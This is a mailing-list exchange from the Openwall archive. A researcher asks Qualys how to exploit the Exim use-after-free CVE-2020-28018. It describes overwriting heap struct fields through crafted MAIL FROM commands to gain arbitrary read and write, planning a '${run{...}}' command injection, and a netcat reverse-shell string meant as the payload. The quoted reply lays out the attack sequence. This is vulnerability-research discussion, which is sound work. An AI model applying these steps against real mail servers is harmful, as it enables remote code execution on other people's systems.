Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Tue, 11 May 2021 23:18:12 +0200
From: null p0int3r <>
To: Qualys Security Advisory <>
Subject: Re: [CVE-2020-28018] Use-After-Free on Exim Question

Hi again!

Thanks for the reply.

In addition to my previous question, to leave it more clear...

I successfully exploited the Use-After-Free to get Heap Address Leak and
the arbitrary read primitive mentioned in the advisory.

Talking about the arbitrary read, I sent a "MAIL FROM" command after the
last "STARTTLS".

When sending it after the STARTTLS (the last one before the UAF), the
content sent is right next to the gstring freed buffer, something that does
not happen when on plaintext, as the data is written far away from the
target struct.

Then sending a MAIL FROM command with any data, allowed me to enter some of
that data in the gstring freed struct.

So... entering something like: MAIL FROM: <>

Would end up overwriting the g->size, g->ptr and g->s:

g->size = 0x42424242
g->ptr = 0x43434343
g->s = 0x44444444

Finally this will end up on arbitrary read, as having control of the
gstring struct directly allow me read any address. When using this, the
same response for that mentioned MAIL FROM command will contain the data
where g->s points to. So I waste the chance of exploiting the UAF on it
(but hopefully I can do it without any additional command).

Also, perhaps receiving the "501 NUL characters are not allowed in SMTP
commands" message, that response is written far away from my struct
(because g->ptr contains a huge value), so no problem with it.

That does not happen at the time of achieving a write-what-where, as this
time, I depend on the response of the same command (because after the
STARTTLS I have only one chance to exploit the UAF, else the pointer will
be NULLed out).

I though about sending a malformed-domain, so after overwriting the struct,
part of response would be data I sent, in which a ${run{command}}  could

Sample: "501 ${run{command}} is an invalid address blablabla"

This message would be entered where g->s points to.

Unfortunately, the "501 NUL characters are not allowed in SMTP commands"
message is used as response instead, so it is written into my target
address instead of the data I want to.

To avoid that message I though too about sending first a huge g->size
value, then substract the value I use on g->ptr (like 0x01010101 to avoid
NULLs) to the address I use to replace g->s.

The only constraint of it is that as heap addresses contain at least 2 NULL
bytes, the last part of the message would need to be the address and a new
line character which is skipped on write, so if the buffer on that
positions contain NULL bytes (something that happens as the last pointer
stored there also contains 2 NULLs at the end as any heap address).

Then if the previous data was:


And I send: MAIL FROM: <>

The pointer would end up like this:


In theory it would work but...unfortunately any reverse shell config length
is higher than the number of characters from where I can start writing to
the struct (26 bytes).

[ 26-byte length space ] [ gstring struct ] [ ... ]
|-------------- (start of my controlled buffer)

strlen("${{nc -e /bin/sh 55555}}") = 40

And I cannot add it after the gstring overwrite cause I need no more data
as I do not want to enter non-NULL data on those two bytes for the address.


How do you overwrite the gstring struct when you are on plaintext, so you
can then freely send a MAIL FROM after the STARTTLS without facing those
problems and directly getting it's response on target address previously

I saw some functions I could use for filling heap until overwriting my
target, but they are just string-based so no NULL bytes possible.

In the advisory it is mentioned the use of the name=value pair, but reading
the code I see just string based functions used for allocations.

Thanks again!
Hope the question is more clear now

El mar, 11 may 2021 a las 22:55, Qualys Security Advisory (<>)

> Hi,
> On Tue, May 11, 2021 at 01:23:43PM +0200, null p0int3r wrote:
> > So I suppose that command is the first you send after the second
> > "STARTTLS" command being sent right?
> Yes! After the second STARTTLS we send an invalid MAIL FROM command (for
> example, "MAIL FROM:(\"${run{...}}\")\n"). Exim then responds with a 501
> error message that includes our "${run{...}}" string, and since corked
> in tls_write() is still non-NULL, this string is written to where the
> used-after-free corked points to.
> Hopefully this helps!
> > PD: Congrats for those nice bugs discovered.
> Thank you very much for your mail!
> With best regards,
> --
> the Qualys Security Advisory team
> [
> ]<>
> This message may contain confidential and privileged information. If it
> has been sent to you in error, please reply to advise the sender of the
> error and then immediately delete it. If you are not the intended
> recipient, do not read, copy, disclose or otherwise use this message. The
> sender disclaims any liability for such unauthorized use. NOTE that all
> incoming emails sent to Qualys email accounts will be archived and may be
> scanned by us and/or by external service providers to detect and prevent
> threats to our systems, investigate illegal or inappropriate behavior,
> and/or eliminate unsolicited promotional emails (“spam”). If you have any
> concerns about this process, please contact us.

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.